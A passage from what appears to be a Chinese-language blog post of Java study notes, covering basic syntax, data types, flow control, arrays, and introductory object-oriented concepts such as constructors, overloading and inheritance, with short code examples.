color="#ff9f9f"><strong>大写字母</strong></font>开头</li></ul></blockquote><p>&emsp;&emsp;<code>public</code>是访问修饰符，表示该<code>class</code>是公开的。不写<code>public</code>，也能正确编译，但是这个类将无法从命令行执行。<code>public</code>除了可以修饰<code>class</code>外，也可以修饰方法。</p><p>&emsp;&emsp;在<code>class</code>内部，可以定义若干<font color="#ff9f9f"><strong>方法</strong></font>。方法定义了一组执行语句，方法内部的代码将会被依次顺序执行。</p><blockquote><p>方法名要求：</p><ul><li>必须以英文字母开头，后接字母，数字和下划线的组合</li><li>习惯以<font color="#ff9f9f"><strong>小写字母</strong></font>开头</li></ul></blockquote><p>&emsp;&emsp;<code>static</code>是另一个修饰符，它表示静态方法(之后再议)。Java入口程序规定的方法必须是静态方法，方法名必须为<code>main</code>，括号内的参数必须是String数组。</p><h5 id="注释"><a href="#注释" class="headerlink" title="注释"></a>注释</h5><p>&emsp;&emsp;Java有3种注释，第一种是单行注释，以双斜线开头，直到这一行的结尾结束：</p><pre><code class="java">// 这是注释...</code></pre><p>&emsp;&emsp;而多行注释以<code>/*</code>星号开头，以<code>*/</code>结束，可以有多行：</p><pre><code class="java">/*这是注释blablabla...这也是注释*/</code></pre><p>&emsp;&emsp;还有一种特殊的多行注释，以<code>/**</code>开头，以<code>*/</code>结束，如果有多行，每行通常以星号开头：</p><pre><code class="java">/** * 这种特殊的多行注释需要写在类和方法的定义处， * 可以用于自动创建文档。 *  */public class Hello &#123;    public static void main(String[] args) &#123;        System.out.println(&quot;Hello, world!&quot;);    &#125;&#125;</code></pre><h4 id="变量和数据类型"><a href="#变量和数据类型" class="headerlink" title="变量和数据类型"></a>变量和数据类型</h4><h5 id="变量"><a href="#变量" class="headerlink" title="变量"></a>变量</h5><p>&emsp;&emsp;在Java中，变量必须先定义后使用，在定义变量的时候，可以给它一个初始值。例如：</p><pre><code class="java">int x = 1;</code></pre><h5 id="基本数据类型"><a href="#基本数据类型" class="headerlink" title="基本数据类型"></a>基本数据类型</h5><p>&emsp;&emsp;基本数据类型是CPU可以直接进行运算的类型。Java定义了以下几种基本数据类型：</p><ul><li>整数类型：byte，short，int，long</li><li>浮点数类型：float，double</li><li>字符类型：char</li><li>布尔类型：boolean</li></ul><h5 id="整型"><a href="#整型" class="headerlink" title="整型"></a>整型</h5><p>&emsp;&emsp;对于整型类型，Java只定义了带符号的整型，因此，最高位的bit表示符号位（0表示正数，1表示负数）。各种整型能表示的最大范围如下：</p><ul><li>byte：-128 ~ 127</li><li>short: -32768 ~ 32767</li><li>int: -2147483648 ~ 2147483647</li><li>long: -9223372036854775808 ~ 9223372036854775807</li></ul><blockquote><p>不同进制数的表示：</p><ul><li>16进制：0x</li><li>8进制：0</li><li>2进制：0b</li></ul><p>例如： <code>15</code>&#x3D;<code>0xf</code>＝<code>017</code>&#x3D;<code>0b1111</code></p></blockquote><h5 id="浮点型"><a href="#浮点型" class="headerlink" title="浮点型"></a>浮点型</h5><p>&emsp;&emsp;浮点类型的数就是小数，因为小数用科学计数法表示的时候，小数点是可以“浮动”的，如1234.5可以表示成12.345e10^2^，也可以表示成1.2345e10^3^，所以称为浮点数。</p><p>下面是定义浮点数的例子：</p><pre><code class="java">float f1 = 3.14f;float f2 = 3.14e38f;double d = 1.79e308;double d2 = -1.79e308;double d3 = 4.9e-324;</code></pre><p>&emsp;&emsp;对于<code>float</code>类型，需要加上<code>f</code>后缀。否则是double类型。</p><p>&emsp;&emsp;浮点数可表示的范围非常大，<code>float</code>类型可最大表示3.4x10^38^，而<code>double</code>类型可最大表示1.79x10^308^。</p><h5 id="布尔类型"><a href="#布尔类型" class="headerlink" title="布尔类型"></a>布尔类型</h5><p>&emsp;&emsp;布尔类型<code>boolean</code>只有<code>true</code>和<code>false</code>两个值，布尔类型总是关系运算的计算结果：</p><pre><code class="java">boolean b1 = true;boolean b2 = false;boolean isGreater = 5 &gt; 3; // 计算结果为trueint age = 12;boolean isAdult = age &gt;= 18; // 计算结果为false</code></pre><p>&emsp;&emsp;Java语言对布尔类型的存储并没有做规定，因为理论上存储布尔类型只需要1 bit，但是通常JVM内部会把<code>boolean</code>表示为4字节整数。</p><h5 id="字符类型"><a href="#字符类型" class="headerlink" title="字符类型"></a>字符类型</h5><p>&emsp;&emsp;字符类型<code>char</code>表示一个字符。Java的<code>char</code>类型除了可表示标准的ASCII外，<font color="#ff9f9f"><strong>还可以表示一个Unicode字符</strong></font>：</p><pre><code class="java">// 字符类型public class Main &#123;    public static void main(String[] args) &#123;        char a = &#39;A&#39;;        char zh = &#39;中&#39;;        System.out.println(a);        System.out.println(zh);    &#125;&#125;</code></pre><p>&emsp;&emsp;注意<code>char</code>类型使用单引号<code>&#39;</code>，且仅有一个字符，要和双引号<code>&quot;</code>的字符串类型区分开。</p><h5 id="引用类型"><a href="#引用类型" class="headerlink" title="引用类型"></a>引用类型</h5><p>&emsp;&emsp;引用类型最常用的就是<code>String</code>字符串：</p><pre><code class="java">String s = &quot;hello&quot;;</code></pre><p>&emsp;&emsp;引用类型的变量类似于C语言的指针，它内部存储一个“地址”，指向某个对象在内存的位置。</p><h5 id="常量"><a href="#常量" class="headerlink" title="常量"></a>常量</h5><p>&emsp;&emsp;定义变量的时候，如果加上<code>final</code>修饰符，这个变量就变成了常量：</p><pre><code class="java">final double PI = 3.14; // PI是一个常量double r = 5.0;double area = PI * r * r;PI = 300; // compile error!</code></pre><p>&emsp;&emsp;常量在定义时进行初始化后就不可再次赋值，再次赋值会导致编译错误。</p><p>&emsp;&emsp;常量的作用是用有意义的变量名来避免<font color="#ff9f9f"><strong>魔术数字(拥有特殊意义的数字)</strong></font>，例如，不要在代码中到处写<code>3.14</code>，而是定义一个常量。</p><p>&emsp;&emsp;<strong>为了和变量区分开来，根据习惯，常量名通常全部大写</strong>。</p><h5 id="var关键字"><a href="#var关键字" class="headerlink" title="var关键字"></a>var关键字</h5><p>&emsp;&emsp;如果想省略变量类型，可以使用<code>var</code>关键字：</p><pre><code class="java">var sb = new StringBuilder();</code></pre><p>&emsp;&emsp;编译器会根据赋值语句自动推断出变量<code>sb</code>的类型是<code>StringBuilder</code>。</p><h4 id="运算"><a href="#运算" class="headerlink" title="运算"></a>运算</h4><blockquote><p>运算方面基本与C完全一致，仅记录一些特殊的点。</p></blockquote><h5 id="浮点运算溢出"><a href="#浮点运算溢出" class="headerlink" title="浮点运算溢出"></a>浮点运算溢出</h5><p>&emsp;&emsp;整数运算在除数为<code>0</code>时会报错，而浮点数运算在除数为<code>0</code>时，不会报错，但会返回几个特殊值：</p><ul><li><code>NaN</code>表示Not a Number</li><li><code>Infinity</code>表示无穷大</li><li><code>-Infinity</code>表示负无穷大</li></ul><h4 id="字符和字符串"><a href="#字符和字符串" class="headerlink" title="字符和字符串"></a>字符和字符串</h4><blockquote><p>仅记录和C的不同之处</p></blockquote><h5 id="字符串连接"><a href="#字符串连接" class="headerlink" title="字符串连接"></a>字符串连接</h5><p>&emsp;&emsp;Java的编译器对字符串做了特殊照顾，可以使用<code>+</code>连接任意字符串和其他数据类型，这样极大地方便了字符串的处理(和py一样)。</p><p>&emsp;&emsp;如果用<code>+</code>连接字符串和其他数据类型，会将其他数据类型先自动转型为字符串，再连接。</p><p>&emsp;&emsp;从Java 13开始，字符串可以用<code>&quot;&quot;&quot;...&quot;&quot;&quot;</code>表示<font color="#ff9f9f"><strong>多行字符串</strong></font>了(和py一样)。举个例子：</p><pre><code class="java">// 多行字符串public class Main &#123;    public static void main(String[] args) &#123;        String s = &quot;&quot;&quot;                   SELECT * FROM                     users                   WHERE id &gt; 100                   ORDER BY name DESC                   &quot;&quot;&quot;;        System.out.println(s);    &#125;&#125;</code></pre><h5 id="空值null"><a href="#空值null" class="headerlink" title="空值null"></a>空值null</h5><p>&emsp;&emsp;引用类型的变量可以指向一个空值<code>null</code>，它表示不存在，即该变量不指向任何对象。例如：</p><pre><code class="java">String s1 = null; // s1是nullString s2 = s1; // s2也是nullString s3 = &quot;&quot;; // s3指向空字符串，不是null</code></pre><p>&emsp;&emsp;注意要区分空值<code>null</code>和空字符串<code>&quot;&quot;</code>，空字符串是一个有效的字符串对象，它不等于<code>null</code>。</p><h4 id="数组"><a href="#数组" class="headerlink" title="数组"></a>数组</h4><p>&emsp;&emsp;可以使用数组来表示“一组”<code>int</code>类型。代码如下：</p><pre><code class="java">// 数组public class Main &#123;    public static void main(String[] args) &#123;        // 5位同学的成绩:        int[] ns = new int[] &#123; 68, 79, 91, 85, 62 &#125;;        //等同于int[] ns = &#123; 68, 79, 91, 85, 62 &#125;;    &#125;&#125;</code></pre><p>&emsp;&emsp;定义一个数组类型的变量，使用数组类型“类型[]”，例如，<code>int[]</code>。和单个基本类型变量不同，数组变量初始化必须使用<code>new int[5]</code>表示创建一个可容纳5个<code>int</code>元素的数组。</p><p>&emsp;&emsp;Java的数组有几个特点：</p><ul><li><p>数组属于引用类型。</p></li><li><p>数组所有元素初始化为<font color="#ff9f9f"><strong>默认值</strong></font>，整型都是<code>0</code>，浮点型是<code>0.0</code>，布尔型是<code>false</code>；</p></li><li><p>数组一旦创建后，<font color="#ff9f9f"><strong>大小就不可改变</strong></font>。</p></li><li><p>要访问数组中的某一个元素，需要使用<font color="#ff9f9f"><strong>索引</strong></font>。数组索引从<code>0</code>开始。</p></li><li><p>可以修改数组中的某一个元素，使用赋值语句，例如，<code>ns[1] = 79;</code>。</p></li><li><p>可以用<code>数组变量.length</code>获取数组大小</p></li><li><p>数组是引用类型，在使用索引访问数组元素时，如果索引超出范围，运行时将报错</p></li><li><p>也可以在定义数组时直接指定初始化的元素，这样就不必写出数组大小，而是由编译器自动推算数组大小。</p></li></ul><h3 id="流程控制"><a href="#流程控制" class="headerlink" title="流程控制"></a>流程控制</h3><h4 id="输入和输出"><a href="#输入和输出" class="headerlink" title="输入和输出"></a>输入和输出</h4><h5 id="输出"><a href="#输出" class="headerlink" title="输出"></a>输出</h5><p>&emsp;&emsp;在前面的代码中，我们总是使用<code>System.out.println()</code>来向屏幕输出一些内容。</p><p><code>println</code>是print line的缩写，表示输出并换行。因此，如果输出后不想换行，可以用<code>print()</code>：</p><pre><code class="java">// 输出public class Main &#123;    public static void main(String[] args) &#123;        System.out.print(&quot;A,&quot;);        System.out.print(&quot;B,&quot;);        System.out.print(&quot;C.&quot;);        System.out.println();        System.out.println(&quot;END&quot;);    &#125;&#125;</code></pre><h5 id="格式化输出"><a href="#格式化输出" class="headerlink" title="格式化输出"></a>格式化输出</h5><blockquote><p>省流(?)：和C基本一致</p></blockquote><p>&emsp;&emsp;如果要把数据显示成我们期望的格式，就需要使用格式化输出的功能。格式化输出使用<code>System.out.printf()</code>，通过使用占位符<code>%?</code>，<code>printf()</code>可以把后面的参数格式化成指定格式：</p><pre><code class="java">// 格式化输出public class Main &#123;    public static void main(String[] args) &#123;        double d = 3.1415926;        System.out.printf(&quot;%.2f\n&quot;, d); // 显示两位小数3.14        System.out.printf(&quot;%.4f\n&quot;, d); // 显示4位小数3.1416    &#125;&#125;</code></pre><p>&emsp;&emsp;Java的格式化功能提供了多种占位符，可以把各种数据类型“格式化”成指定的字符串：</p><table><thead><tr><th>占位符</th><th>说明</th></tr></thead><tbody><tr><td>%d</td><td>格式化输出整数</td></tr><tr><td>%x</td><td>格式化输出十六进制整数</td></tr><tr><td>%f</td><td>格式化输出浮点数</td></tr><tr><td>%e</td><td>格式化输出科学计数法表示的浮点数</td></tr><tr><td>%s</td><td>格式化字符串</td></tr></tbody></table><p>&emsp;&emsp;注意，由于<code>%</code>表示占位符，因此，连续两个<code>%%</code>表示一个<code>%</code>字符本身。</p><h5 id="输入"><a href="#输入" class="headerlink" title="输入"></a>输入</h5><p>&emsp;&emsp;和输出相比，Java的输入就要复杂得多。</p><p>&emsp;&emsp;我们先看一个从控制台读取一个字符串和一个整数的例子：</p><pre><code class="java">import java.util.Scanner;public class Main &#123;    public static void main(String[] args) &#123;        Scanner scanner = new Scanner(System.in);        // 创建Scanner对象        System.out.print(&quot;Input your name: &quot;);         // 打印提示        String name = scanner.nextLine();         // 读取一行输入并获取字符串        System.out.print(&quot;Input your age: &quot;);         // 打印提示        int age = scanner.nextInt();         // 读取一行输入并获取整数        System.out.printf(&quot;Hi, %s, you are %d\n&quot;, name, age);         // 格式化输出    &#125;&#125;</code></pre><p>&emsp;&emsp;首先，我们通过<code>import</code>语句导入<code>java.util.Scanner</code>。</p><p>&emsp;&emsp;然后，创建<code>Scanner</code>对象并传入<code>System.in</code>。</p><blockquote><p><code>System.out</code>代表标准输出流，而<code>System.in</code>代表标准输入流。</p><p>直接使用<code>System.in</code>读取用户输入虽然是可以的，但需要更复杂的代码，而通过<code>Scanner</code>就可以简化后续的代码。</p></blockquote><p>&emsp;&emsp;有了<code>Scanner</code>对象后，要读取用户输入的<font color="#ff9f9f"><strong>字符串</strong></font>，使用<code>scanner.nextLine()</code>；要读取用户输入的整数，使用<code>scanner.nextInt()</code>。<code>Scanner</code>会自动转换数据类型，因此不必手动转换。</p><p>&emsp;&emsp;要测试输入，必须从命令行读取用户输入，因此，需要走编译、执行的流程：</p><pre><code class="plain">$ javac Main.java</code></pre><p>&emsp;&emsp;执行：</p><pre><code class="plain">$ java MainInput your name: Bob ◀── 输入 BobInput your age: 12   ◀── 输入 12Hi, Bob, you are 12  ◀── 输出</code></pre><p>&emsp;&emsp;根据提示分别输入一个字符串和整数后，我们得到了格式化的输出。</p><h4 id="if条件判断"><a href="#if条件判断" class="headerlink" title="if条件判断"></a>if条件判断</h4><blockquote><p>与C基本一致，仅记录不同之处</p></blockquote><h5 id="判断引用类型相等"><a href="#判断引用类型相等" class="headerlink" title="判断引用类型相等"></a>判断引用类型相等</h5><p>&emsp;&emsp;判断引用类型的变量是否相等，<code>==</code>表示“引用是否相等”，或者说，是否指向同一个对象。例如，下面的两个String类型，它们的内容是相同的，但是，分别指向不同的对象，用<code>==</code>判断，结果为<code>false</code>。</p><p>&emsp;&emsp;要判断引用类型的变量内容是否相等，必须使用<code>equals()</code>方法：</p><pre><code class="java">// 条件判断public class Main &#123;    public static void main(String[] args) &#123;        String s1 = &quot;hello&quot;;        String s2 = &quot;HELLO&quot;.toLowerCase();        System.out.println(s1);        System.out.println(s2);        if (s1.equals(s2)) &#123;            System.out.println(&quot;s1 equals s2&quot;);        &#125; else &#123;            System.out.println(&quot;s1 not equals s2&quot;);        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;注意：执行语句<code>s1.equals(s2)</code>时，如果变量<code>s1</code>为<code>null</code>，会报<code>NullPointerException</code>。要避免<code>NullPointerException</code>错误，可以利用短路运算符<code>&amp;&amp;</code>：</p><pre><code class="java">// 条件判断public class Main &#123;    public static void main(String[] args) &#123;        String s1 = null;        if (s1 != null &amp;&amp; s1.equals(&quot;hello&quot;)) &#123;            System.out.println(&quot;hello&quot;);        &#125;    &#125;&#125;</code></pre><h4 id="switch多重选择"><a href="#switch多重选择" class="headerlink" title="switch多重选择"></a>switch多重选择</h4><blockquote><p>仅记录Java 12后的新语法与yield。传统语法与C基本一致</p></blockquote><h5 id="switch表达式"><a href="#switch表达式" class="headerlink" title="switch表达式"></a>switch表达式</h5><p>&emsp;&emsp;使用<code>switch</code>时，如果遗漏了<code>break</code>，就会造成严重的逻辑错误，而且不易在源代码中发现错误。从Java 12开始，<code>switch</code>语句升级为更简洁的表达式语法，保证只有一种路径会被执行，并且不需要<code>break</code>语句：</p><pre><code class="java">// switchpublic class Main &#123;    public static void main(String[] args) &#123;        String fruit = &quot;apple&quot;;        switch (fruit) &#123;        case &quot;apple&quot; -&gt; System.out.println(&quot;Selected apple&quot;);        case &quot;pear&quot; -&gt; System.out.println(&quot;Selected pear&quot;);        case &quot;mango&quot; -&gt; &#123;            System.out.println(&quot;Selected mango&quot;);            System.out.println(&quot;Good choice!&quot;);        &#125;        default -&gt; System.out.println(&quot;No fruit selected&quot;);        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;注意新语法使用<code>-&gt;</code>，如果有多条语句，需要用<code>&#123;&#125;</code>括起来。不要写<code>break</code>语句，因为新语法只会执行匹配的语句，<font color="#ff9f9f"><strong>没有穿透效应</strong></font>。</p><h5 id="yield"><a href="#yield" class="headerlink" title="yield"></a>yield</h5><p>&emsp;&emsp;如果需要复杂的语句，我们也可以写很多语句，放到<code>&#123;...&#125;</code>里，然后，用<code>yield</code>返回一个值作为<code>switch</code>语句的返回值：</p><pre><code class="java">// yieldpublic class Main &#123;    public static void main(String[] args) &#123;        String fruit = &quot;orange&quot;;        int opt = switch (fruit) &#123;            case &quot;apple&quot; -&gt; 1;            case &quot;pear&quot;, &quot;mango&quot; -&gt; 2;            default -&gt; &#123;                int code = fruit.hashCode();                yield code; // switch语句返回值            &#125;        &#125;;        System.out.println(&quot;opt = &quot; + opt);    &#125;&#125;</code></pre><h4 id="循环语句"><a href="#循环语句" class="headerlink" title="循环语句"></a>循环语句</h4><blockquote><p>仅记录部分和C不同的部分</p></blockquote><h5 id="for-each循环"><a href="#for-each循环" class="headerlink" title="for each循环"></a>for each循环</h5><p>&emsp;&emsp;Java提供了另一种<code>for each</code>循环，它可以更简单地遍历数组：</p><pre><code class="java">// for eachpublic class Main &#123;    public static void main(String[] args) &#123;        int[] ns = &#123; 1, 4, 9, 16, 25 &#125;;        for (int n : ns) &#123;            System.out.println(n);        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;和<code>for</code>循环相比，<code>for each</code>循环的变量n不再是计数器，而是直接对应到数组的每个元素。<code>for each</code>循环的写法也更简洁。但是，<code>for each</code>循环无法指定遍历顺序，也无法获取数组的索引。</p><p>&emsp;&emsp;<code>for each</code>循环能够遍历所有“可迭代”的数据类型。</p><h3 id="数组操作"><a href="#数组操作" class="headerlink" title="数组操作"></a>数组操作</h3><h4 id="遍历"><a href="#遍历" class="headerlink" title="遍历"></a>遍历</h4><p>&emsp;&emsp;除了用for循环遍历数组外，Java标准库还提供了<code>Arrays.toString()</code>，可以快速打印数组内容：</p><pre><code class="java">// 遍历数组import java.util.Arrays;public class Main &#123;    public static void main(String[] args) &#123;        int[] ns = &#123; 1, 1, 2, 3, 5, 8 &#125;;        System.out.println(Arrays.toString(ns));    &#125;&#125;</code></pre><h4 id="排序"><a href="#排序" class="headerlink" title="排序"></a>排序</h4><p>&emsp;&emsp;Java的标准库已经内置了排序功能，我们只需要调用JDK提供的<code>Arrays.sort()</code>就可以排序(默认升序)：</p><pre><code class="java">// 排序import java.util.Arrays;public class Main &#123;    public static void main(String[] args) &#123;        int[] ns = &#123; 28, 12, 89, 73, 65, 18, 96, 50, 8, 36 &#125;;        Arrays.sort(ns);        System.out.println(Arrays.toString(ns));    &#125;&#125;</code></pre><h4 id="命令行参数"><a href="#命令行参数" class="headerlink" title="命令行参数"></a>命令行参数</h4><p>&emsp;&emsp;Java程序的入口是<code>main</code>方法，而<code>main</code>方法可以接受一个命令行参数，它是一个<code>String[]</code>数组。</p><p>&emsp;&emsp;这个命令行参数由JVM接收用户输入并传给<code>main</code>方法：</p><pre><code class="java">public class Main &#123;    public static void main(String[] args) &#123;        for (String arg : args) &#123;            System.out.println(arg);        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;我们可以利用接收到的命令行参数，根据不同的参数执行不同的代码。例如，实现一个<code>-version</code>参数，打印程序版本号：</p><pre><code class="java">public class Main &#123;    public static void main(String[] args) &#123;        for (String arg : args) &#123;            if (&quot;-version&quot;.equals(arg)) &#123;                System.out.println(&quot;v 1.0&quot;);                break;            &#125;        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;上面这个程序必须在命令行执行，我们先编译它：</p><pre><code class="plain">$ javac Main.java</code></pre><p>&emsp;&emsp;然后，执行的时候，给它传递一个<code>-version</code>参数：</p><pre><code class="plain">$ java Main -versionv 1.0</code></pre><p>&emsp;&emsp;这样，程序就可以根据传入的命令行参数，作出不同的响应。</p><h2 id="面向对象"><a href="#面向对象" class="headerlink" title="面向对象"></a>面向对象</h2><h3 id="面向对象基础"><a href="#面向对象基础" class="headerlink" title="面向对象基础"></a>面向对象基础</h3><h4 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h4><p>&emsp;&emsp;一个<code>class</code>可以包含多个<code>field</code>，例如，我们给<code>Person</code>类就定义了两个<code>field</code>：</p><pre><code class="java">class Person &#123;    public String name;    public int age;&#125;</code></pre><p>&emsp;&emsp;显然，直接操作<code>field</code>，容易造成逻辑混乱。为了避免外部代码直接去访问<code>field</code>，我们可以用<code>private</code>修饰<code>field</code>，拒绝外部访问：</p><pre><code class="java">class Person &#123;    private String name;    private int age;&#125;</code></pre><p>&emsp;&emsp;我们需要使用方法（<code>method</code>）来让外部代码可以间接修改<code>field</code>：</p><pre><code class="java">// private fieldpublic class Main &#123;    public static void main(String[] args) &#123;        Person ming = new Person();        ming.setName(&quot;Xiao Ming&quot;); // 设置name        ming.setAge(12); // 设置age        System.out.println(ming.getName() + &quot;, &quot; + ming.getAge());    &#125;&#125;class Person &#123;    private String name;    private int age;    public String getName() &#123;        return this.name;    &#125;    public void setName(String name) &#123;        this.name = name;    &#125;    public int getAge() &#123;        return this.age;    &#125;    public void setAge(int age) &#123;        if (age &lt; 0 || age &gt; 100) &#123;            throw new IllegalArgumentException(&quot;invalid age value&quot;);        &#125;        this.age = age;    &#125;&#125;</code></pre><p>&emsp;&emsp;虽然外部代码不能直接修改<code>private</code>字段，但是，外部代码可以调用方法<code>setName()</code>和<code>setAge()</code>来间接修改<code>private</code>字段。在方法内部，我们就有机会检查参数对不对。 </p><p>&emsp;&emsp;一个类通过定义方法，就可以给外部代码暴露一些操作的接口，同时，内部自己保证逻辑一致性。</p><p>&emsp;&emsp;调用方法的语法是<code>实例变量.方法名(参数);</code>。</p><h5 id="定义方法"><a href="#定义方法" class="headerlink" title="定义方法"></a>定义方法</h5><p>&emsp;&emsp;定义方法的语法是：</p><pre><code class="java">修饰符 方法返回类型 方法名(方法参数列表) &#123;    若干方法语句;    return 方法返回值;&#125;</code></pre><h5 id="private方法"><a href="#private方法" class="headerlink" title="private方法"></a>private方法</h5><p>&emsp;&emsp;和<code>private</code>字段一样，<code>private</code>方法不允许外部调用，那我们定义<code>private</code>方法有什么用？</p><p>&emsp;&emsp;定义<code>private</code>方法的理由是内部方法是可以调用<code>private</code>方法的。</p><h5 id="this变量"><a href="#this变量" class="headerlink" title="this变量"></a>this变量</h5><p>&emsp;&emsp;在方法内部，可以使用一个隐含的变量<code>this</code>，它始终指向当前实例。因此，通过<code>this.field</code>就可以访问当前实例的字段。</p><h5 id="可变参数"><a href="#可变参数" class="headerlink" title="可变参数"></a>可变参数</h5><p>可变参数用<code>类型...</code>定义，可变参数相当于数组类型：</p><pre><code class="java">class Group &#123;    private String[] names;    public void setNames(String... names) &#123;        this.names = names;    &#125;&#125;</code></pre><p>&emsp;&emsp;上面的<code>setNames()</code>就定义了一个可变参数。调用时，可以这么写：</p><pre><code class="java">Group g = new Group();g.setNames(&quot;Xiao Ming&quot;, &quot;Xiao Hong&quot;, &quot;Xiao Jun&quot;); // 传入3个Stringg.setNames(&quot;Xiao Ming&quot;, &quot;Xiao Hong&quot;); // 传入2个Stringg.setNames(&quot;Xiao Ming&quot;); // 传入1个Stringg.setNames(); // 传入0个String</code></pre><p>完全可以把可变参数改写为<code>String[]</code>类型：</p><pre><code class="java">class Group &#123;    private String[] names;    public void setNames(String[] names) &#123;        this.names = names;    &#125;&#125;</code></pre><p>&emsp;&emsp;但是，调用方需要自己先构造<code>String[]</code>，比较麻烦。所以可以直接用<code>...</code>表达式。</p><h4 id="构造方法"><a href="#构造方法" class="headerlink" title="构造方法"></a>构造方法</h4><p>&emsp;&emsp;创建实例的时候，实际上是通过构造方法来初始化实例的。我们先来定义一个构造方法，能在创建<code>Person</code>实例的时候，一次性传入<code>name</code>和<code>age</code>，完成初始化：</p><pre><code class="java">// 构造方法public class Main &#123;    public static void main(String[] args) &#123;        Person p = new Person(&quot;Xiao Ming&quot;, 15);        System.out.println(p.getName());        System.out.println(p.getAge());    &#125;&#125;class Person &#123;    private String name;    private int age;    public Person(String name, int age) &#123;        this.name = name;        this.age = age;    &#125;        public String getName() &#123;        return this.name;    &#125;    public int getAge() &#123;        return this.age;    &#125;&#125;</code></pre><p>&emsp;&emsp;构造方法有以下特点：</p><ul><li>构造方法的名称就是类名。</li><li>构造方法的参数没有限制，在方法内部，也可以编写任意语句。</li><li>构造方法没有返回值（<font color="#ff9f9f"><strong>也没有<code>void</code></strong></font>）。</li><li>调用构造方法，<font color="#ff9f9f"><strong>必须用<code>new</code>操作符</strong></font>。创建实例的同时会调用构造方法。</li></ul><h5 id="默认构造方法"><a href="#默认构造方法" class="headerlink" title="默认构造方法"></a>默认构造方法</h5><p>&emsp;&emsp;果一个类没有定义构造方法，编译器会自动为我们生成一个默认构造方法，它没有参数，也没有执行语句，类似这样：</p><pre><code class="java">class Person &#123;    public Person() &#123;    &#125;&#125;</code></pre><p>&emsp;&emsp;如果既要能使用带参数的构造方法，又想保留不带参数的构造方法，那么只能把两个构造方法都定义出来：</p><pre><code class="java">public Person() &#123;&#125;public Person(String name, int age) &#123;    this.name = name;    this.age = age;&#125;</code></pre><p>&emsp;&emsp;没有在构造方法中初始化字段时，引用类型的字段默认是<code>null</code>，数值类型的字段用默认值，<code>int</code>类型默认值是<code>0</code>，布尔类型默认值是<code>false</code>。</p><p>&emsp;&emsp;当我们对字段进行初始化，又在构造方法中对字段进行初始化时，字段的值<font color="#ff9f9f"><strong>根据构造方法的代码确定</strong></font>。</p><h5 id="多个构造方法"><a href="#多个构造方法" class="headerlink" title="多个构造方法"></a>多个构造方法</h5><p>&emsp;&emsp;可以定义多个构造方法，在通过<code>new</code>操作符调用的时候，编译器通过构造方法的参数数量、位置和类型自动区分(就像之前，定义一个没有参数，一个有参数的构造方法)。</p><h4 id="方法重载"><a href="#方法重载" class="headerlink" title="方法重载"></a>方法重载</h4><p>&emsp;&emsp;在一个类中，我们可以定义多个方法。如果有一系列方法，它们的功能都是类似的，只有参数有所不同，那么，可以把这一组方法名做成<font color="#ff9f9f"><strong>同名</strong></font>方法。例如，在<code>Hello</code>类中，定义多个<code>hello()</code>方法：</p><pre><code class="java">class Hello &#123;    public void hello() &#123;        System.out.println(&quot;Hello, world!&quot;);    &#125;    public void hello(String name) &#123;        System.out.println(&quot;Hello, &quot; + name + &quot;!&quot;);    &#125;    public void hello(String name, int age) &#123;        if (age &lt; 18) &#123;            System.out.println(&quot;Hi, &quot; + name + &quot;!&quot;);        &#125; else &#123;            System.out.println(&quot;Hello, &quot; + name + &quot;!&quot;);        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;这种方法名相同，但各自的参数不同，称为<font color="#ff9f9f"><strong>方法重载(Overload)</strong></font>。要注意方法重载的返回值类型通常都是相同的。方法重载的目的是，功能类似的方法使用同一名字，更容易记住，调用起来更简单。</p><p>&emsp;&emsp;例如，<code>String</code>类提供了多个重载方法<code>indexOf()</code>，可以查找子串：</p><ul><li><code>int indexOf(int ch)</code>：根据字符的Unicode码查找；</li><li><code>int indexOf(String str)</code>：根据字符串查找；</li><li><code>int indexOf(int ch, int fromIndex)</code>：根据字符查找，但指定起始位置；</li><li><code>int indexOf(String str, int fromIndex)</code>根据字符串查找，但指定起始位置。</li></ul><h4 id="继承"><a href="#继承" class="headerlink" title="继承"></a>继承</h4><p>&emsp;&emsp;继承是面向对象编程中非常强大的一种机制，它首先可以复用代码。</p><p>&emsp;&emsp;Java使用<code>extends</code>关键字来实现继承：</p><pre><code class="java">class Person &#123;    private String name;    private int age;    public String getName() &#123;...&#125;    public void setName(String name) &#123;...&#125;    public int getAge() &#123;...&#125;    public void setAge(int age) &#123;...&#125;&#125;class Student extends Person &#123;    // 不要重复name和age字段/方法,    // 只需要定义新增score字段/方法:    private int score;    public int getScore() &#123; … &#125;    public void setScore(int score) &#123; … &#125;&#125;</code></pre><p>&emsp;&emsp;可见，通过继承，<code>Student</code>只需要编写额外的功能，不再需要重复代码。</p><blockquote><p><strong>子类自动获得了父类的所有字段，严禁定义与父类重名的字段！</strong></p></blockquote><p>&emsp;&emsp;我们把被继承的类称为<strong>超类</strong>，<strong>父类</strong>，<strong>基类</strong>，把继承其他类的类称作其<strong>子类</strong>，<strong>扩展类</strong>。</p><h5 id="继承树"><a href="#继承树" class="headerlink" title="继承树"></a>继承树</h5><p>&emsp;&emsp;在Java中，没有明确写<code>extends</code>的类，编译器会自动加上<code>extends Object</code>。所以，任何类，除了<code>Object</code>，都会继承自某个类。</p><img src="/2025/02/27/Java%E7%AC%94%E8%AE%B0/1.png"><p>&emsp;&emsp;Java只允许一个class继承自一个类，因此，一个类有且仅有一个父类。只有<code>Object</code>特殊，它没有父类。</p><h5 id="protected"><a href="#protected" class="headerlink" title="protected"></a>protected</h5><p>&emsp;&emsp;继承有个特点，就是子类无法访问父类的<code>private</code>字段或者<code>private</code>方法,这使得继承的作用被削弱了。</p><p>&emsp;&emsp;如果我们希望子类可以访问父类的字段，我们需要把<code>private</code>改为<code>protected</code>。<code>protected</code>关键字可以把字段和方法的访问权限控制在继承树内部，一个<code>protected</code>字段和方法可以被其子类，以及子类的子类所访问。</p><h5 id="super"><a href="#super❀" class="headerlink" title="super❀"></a>super<font color="#ff9f9f">❀</font></h5><p>&emsp;&emsp;<code>super</code>关键字表示父类（超类）。子类引用父类的字段时，可以用<code>super.fieldName</code>。例如：</p><pre><code class="java">class Student extends Person &#123;    public String hello() &#123;        return &quot;Hello, &quot; + super.name;    